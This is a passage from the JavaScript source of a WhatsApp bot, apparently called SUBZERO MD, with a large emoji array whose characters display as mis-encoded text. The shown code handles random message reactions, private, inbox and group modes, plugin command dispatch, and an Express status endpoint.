'๐ค', '๐คข', '๐คฎ', '๐คง', '๐ฅต', '๐ฅถ', '๐ฅด', '๐ต', "๐ตโ๐ซ", '๐คฏ', '๐ค ', '๐ฅณ', '๐ฅธ', '๐', '๐ค', '๐ง', '๐', '๐', '๐', 'โน๏ธ', '๐ฎ', '๐ฏ', '๐ฒ', '๐ณ', '๐ฅบ', '๐ฆ', '๐ง', '๐จ', '๐ฐ', '๐ฅ', '๐ข', '๐ญ', '๐ฑ', '๐', '๐ฃ', '๐', '๐', '๐ฉ', '๐ซ', '๐ฅฑ', '๐ค', '๐ก', '๐ ', '๐คฌ', '๐', '๐ฟ', '๐', 'โ ๏ธ', '๐ฉ', '๐คก', '๐น', '๐บ', '๐ป', '๐ฝ', '๐พ', '๐ค', '๐บ', '๐ธ', '๐น', '๐ป', '๐ผ', '๐ฝ', '๐', '๐ฟ', '๐พ', '๐', '๐', '๐', '๐', '๐', '๐', '๐', '๐', '๐', '๐', '๐', '๐', '๐', 'โฃ๏ธ', '๐', "โค๏ธโ๐ฅ", "โค๏ธโ๐ฉน", 'โค๏ธ', '๐งก', '๐', '๐', '๐', '๐', '๐ค', '๐ค', '๐ค', '๐ฏ', '๐ข', '๐ฅ', '๐ซ', '๐ฆ', '๐จ', "๐ณ๏ธ", '๐ฃ', '๐ฌ', "๐๏ธโ๐จ๏ธ", "๐จ๏ธ", "๐ฏ๏ธ", '๐ญ', '๐ค', '๐', '๐ค', "๐๏ธ", 'โ', '๐', '๐', '๐ค', '๐ค', 'โ๏ธ', '๐ค', '๐ค', '๐ค', '๐ค', '๐', '๐', '๐', '๐', '๐', 'โ๏ธ', '๐', '๐', 'โ', '๐', '๐ค', '๐ค', '๐', '๐', '๐', '๐คฒ', '๐ค', '๐', 'โ๏ธ', '๐ ', '๐คณ', '๐ช', '๐ฆพ', '๐ฆฟ', '๐ฆต', '๐ฆถ', '๐', '๐ฆป', '๐', '๐ง ', '๐ซ', '๐ซ', '๐ฆท', '๐ฆด', '๐', "๐๏ธ", '๐ ', '๐', '๐ถ', '๐ง', '๐ฆ', '๐ง', '๐ง', '๐ฑ', '๐จ', '๐ง', "๐งโโ๏ธ", "๐งโโ๏ธ", "๐จโ๐ฆฐ", "๐จโ๐ฆฑ", "๐จโ๐ฆณ", "๐จโ๐ฆฒ", '๐ฉ', "๐ฉโ๐ฆฐ", "๐งโ๐ฆฐ", "๐ฉโ๐ฆฑ", "๐งโ๐ฆฑ", "๐ฉโ๐ฆณ", "๐งโ๐ฆณ", "๐ฉโ๐ฆฒ", "๐งโ๐ฆฒ", "๐ฑโโ๏ธ", "๐ฑโโ๏ธ", '๐ง', '๐ด', '๐ต', '๐', "๐โโ๏ธ", "๐โโ๏ธ", '๐', "๐โโ๏ธ", "๐โโ๏ธ", '๐ ', "๐ โโ๏ธ", "๐ โโ๏ธ", '๐', "๐โโ๏ธ", "๐โโ๏ธ", '๐', "๐โโ๏ธ", "๐โโ๏ธ", '๐', "๐โโ๏ธ", "๐โโ๏ธ", '๐ง', "๐งโโ๏ธ", "๐งโโ๏ธ", '๐', "๐โโ๏ธ", "๐โโ๏ธ", '๐คฆ', "๐คฆโโ๏ธ", "๐คฆโโ๏ธ", '๐คท', "๐คทโโ๏ธ", "๐คทโโ๏ธ", "๐งโโ๏ธ", "๐จโโ๏ธ", "๐ฉโโ๏ธ", "๐งโ๐", "๐จโ๐", "๐ฉโ๐", "๐งโ๐ซ", '๐จโ๐ซ', "๐ฉโ๐ซ", "๐งโโ๏ธ", "๐จโโ๏ธ", "๐ฉโโ๏ธ", "๐งโ๐พ", "๐จโ๐พ", "๐ฉโ๐พ", "๐งโ๐ณ", "๐จโ๐ณ", "๐ฉโ๐ณ", "๐งโ๐ง", "๐จโ๐ง", "๐ฉโ๐ง", "๐งโ๐ญ", "๐จโ๐ญ", "๐ฉโ๐ญ", "๐งโ๐ผ", "๐จโ๐ผ", "๐ฉโ๐ผ", "๐งโ๐ฌ", "๐จโ๐ฌ", "๐ฉโ๐ฌ", "๐งโ๐ป", "๐จโ๐ป", "๐ฉโ๐ป", "๐งโ๐ค", "๐จโ๐ค", "๐ฉโ๐ค", "๐งโ๐จ", "๐จโ๐จ", "๐ฉโ๐จ", "๐งโโ๏ธ", "๐จโโ๏ธ", "๐ฉโโ๏ธ", "๐งโ๐", "๐จโ๐", "๐ฉโ๐", "๐งโ๐", "๐จโ๐", "๐ฉโ๐", '๐ฎ', "๐ฎโโ๏ธ", "๐ฎโโ๏ธ", "๐ต๏ธ", "๐ต๏ธโโ๏ธ", "๐ต๏ธโโ๏ธ", '๐', "๐โโ๏ธ", "๐โโ๏ธ", '๐ฅท', '๐ท', "๐ทโโ๏ธ", "๐ทโโ๏ธ", '๐คด', '๐ธ', '๐ณ', "๐ณโโ๏ธ", "๐ณโโ๏ธ", '๐ฒ', '๐ง', '๐คต', "๐คตโโ๏ธ", "๐คตโโ๏ธ", '๐ฐ', "๐ฐโโ๏ธ", "๐ฐโโ๏ธ", '๐คฐ', '๐คฑ', "๐ฉโ๐ผ", "๐จโ๐ผ", "๐งโ๐ผ", '๐ผ', '๐ ', '๐คถ', "๐งโ๐", '๐ฆธ', "๐ฆธโโ๏ธ", "๐ฆธโโ๏ธ", '๐ฆน', "๐ฆนโโ๏ธ", "๐ฆนโโ๏ธ", '๐ง', "๐งโโ๏ธ", "๐งโโ๏ธ", '๐ง', "๐งโโ๏ธ", "๐งโโ๏ธ", '๐ง', "๐งโโ๏ธ", "๐งโโ๏ธ", '๐ง', "๐งโโ๏ธ", "๐งโโ๏ธ", '๐ง', "๐งโโ๏ธ", "๐งโโ๏ธ", '๐ง', "๐งโโ๏ธ", "๐งโโ๏ธ", '๐ง', "๐งโโ๏ธ", "๐งโโ๏ธ", '๐', "๐โโ๏ธ", "๐โโ๏ธ", '๐', "๐โโ๏ธ", "๐โโ๏ธ", '๐ถ', "๐ถโโ๏ธ", "๐ถโโ๏ธ", '๐ง', "๐งโโ๏ธ", "๐งโโ๏ธ", '๐ง', "๐งโโ๏ธ", "๐งโโ๏ธ", "๐งโ๐ฆฏ", "๐จโ๐ฆฏ", "๐ฉโ๐ฆฏ", "๐งโ๐ฆผ", "๐จโ๐ฆผ", "๐ฉโ๐ฆผ", "๐งโ๐ฆฝ", "๐จโ๐ฆฝ", "๐ฉโ๐ฆฝ", '๐', "๐โโ๏ธ", "๐โโ๏ธ", '๐', '๐บ', "๐ด๏ธ", '๐ฏ', "๐ฏโโ๏ธ", "๐ฏโโ๏ธ", '๐ง', "๐งโโ๏ธ", "๐งโโ๏ธ", '๐ง', "๐งโโ๏ธ", "๐งโโ๏ธ", '๐คบ', '๐', 'โท๏ธ', '๐', "๐๏ธ", "๐๏ธโโ๏ธ", "๐๏ธโโ๏ธ", '๐', "๐โโ๏ธ", "๐โโ๏ธ", '๐ฃ', "๐ฃโโ๏ธ", "๐ฃโโ๏ธ", '๐', "๐โโ๏ธ", "๐โโ๏ธ", 'โน๏ธ', "โน๏ธโโ๏ธ", "โน๏ธโโ๏ธ", "๐๏ธ", "๐๏ธโโ๏ธ", "๐๏ธโโ๏ธ", '๐ด', "๐ดโโ๏ธ", '๐ดโโ๏ธ', '๐ต', "๐ตโโ๏ธ", "๐ตโโ๏ธ", '๐คธ', "๐คธโโ๏ธ", "๐คธโโ๏ธ", '๐คผ', "๐คผโโ๏ธ", "๐คผโโ๏ธ", '๐คฝ', "๐คฝโโ๏ธ", "๐คฝโโ๏ธ", '๐คพ', "๐คพโโ๏ธ", "๐คพโโ๏ธ", '๐คน', "๐คนโโ๏ธ", "๐คนโโ๏ธ", '๐ง', "๐งโโ๏ธ", "๐งโโ๏ธ", '๐', '๐', "๐งโ๐คโ๐ง", '๐ญ', '๐ซ', '๐ฌ', '๐', "๐ฉโโค๏ธโ๐โ๐จ", "๐จโโค๏ธโ๐โ๐จ", "๐ฉโโค๏ธโ๐โ๐ฉ", '๐', "๐ฉโโค๏ธโ๐จ", "๐จโโค๏ธโ๐จ", "๐ฉโโค๏ธโ๐ฉ", '๐ช', "๐จโ๐ฉโ๐ฆ", "๐จโ๐ฉโ๐ง", "๐จโ๐ฉโ๐งโ๐ฆ", "๐จโ๐ฉโ๐ฆโ๐ฆ", "๐จโ๐ฉโ๐งโ๐ง", "๐จโ๐จโ๐ฆ", '๐จโ๐จโ๐ง', "๐จโ๐จโ๐งโ๐ฆ", "๐จโ๐จโ๐ฆโ๐ฆ", "๐จโ๐จโ๐งโ๐ง", "๐ฉโ๐ฉโ๐ฆ", "๐ฉโ๐ฉโ๐ง", "๐ฉโ๐ฉโ๐งโ๐ฆ", "๐ฉโ๐ฉโ๐ฆโ๐ฆ", "๐ฉโ๐ฉโ๐งโ๐ง", "๐จโ๐ฆ", "๐จโ๐ฆโ๐ฆ", "๐จโ๐ง", "๐จโ๐งโ๐ฆ", "๐จโ๐งโ๐ง", "๐ฉโ๐ฆ", "๐ฉโ๐ฆโ๐ฆ", "๐ฉโ๐ง", "๐ฉโ๐งโ๐ฆ", "๐ฉโ๐งโ๐ง", "๐ฃ๏ธ", '๐ค', '๐ฅ', '๐ซ', '๐ฃ', '๐ฆฐ', '๐ฆฑ', '๐ฆณ', '๐ฆฒ', '๐ต']; | |
const randomOwnerReaction = reactions[Math.floor(Math.random() * reactions.length)]; // | |
m.react(randomOwnerReaction); | |
} | |
} | |
// custum react settings | |
if (!isReact && senderNumber !== botNumber) { | |
if (config.CUSTOM_REACT === 'true') { | |
// Use custom emojis from the configuration | |
const reactions = (config.CUSTOM_REACT_EMOJIS || '๐,๐,๐,โ๏ธ,๐').split(','); | |
const randomReaction = reactions[Math.floor(Math.random() * reactions.length)]; | |
m.react(randomReaction); | |
} | |
} | |
if (!isReact && senderNumber === botNumber) { | |
if (config.CUSTOM_REACT === 'true') { | |
// Use custom emojis from the configuration | |
const reactions = (config.CUSTOM_REACT_EMOJIS || '๐,๐,๐,โ๏ธ,๐').split(','); | |
const randomReaction = reactions[Math.floor(Math.random() * reactions.length)]; | |
m.react(randomReaction); | |
} | |
} | |
//==========WORKTYPE============ | |
if(!isOwner && config.MODE === "private") return | |
if(!isOwner && isGroup && config.MODE === "inbox") return | |
if(!isOwner && !isGroup && config.MODE === "groups") return | |
// take commands | |
const events = require('./command') | |
const cmdName = isCmd ? body.slice(1).trim().split(" ")[0].toLowerCase() : false; | |
if (isCmd) { | |
const cmd = events.commands.find((cmd) => cmd.pattern === (cmdName)) || events.commands.find((cmd) => cmd.alias && cmd.alias.includes(cmdName)) | |
if (cmd) { | |
if (cmd.react) conn.sendMessage(from, { react: { text: cmd.react, key: mek.key }}) | |
try { | |
cmd.function(conn, mek, m,{from, quoted, body, isCmd, command, args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply}); | |
} catch (e) { | |
console.error("[PLUGIN ERROR] " + e); | |
} | |
} | |
} | |
events.commands.map(async(command) => { | |
if (body && command.on === "body") { | |
command.function(conn, mek, m,{from, l, quoted, body, isCmd, command, args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply}) | |
} else if (mek.q && command.on === "text") { | |
command.function(conn, mek, m,{from, l, quoted, body, isCmd, command, args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply}) | |
} else if ( | |
(command.on === "image" || command.on === "photo") && | |
mek.type === "imageMessage" | |
) { | |
command.function(conn, mek, m,{from, l, quoted, body, isCmd, command, args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply}) | |
} else if ( | |
command.on === "sticker" && | |
mek.type === "stickerMessage" | |
) { | |
command.function(conn, mek, m,{from, l, quoted, body, isCmd, command, args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply}) | |
}}); | |
}) | |
} | |
app.get("/", (req, res) => { | |
res.send("[ ๐ค ] SUBZERO MD BOT ONLINE โ "); | |
}); | |
app.listen(port, () => console.log(`Server listening on port http://localhost:${port}`)); | |
setTimeout(() => { | |
connectToWA() | |
}, 4000); | |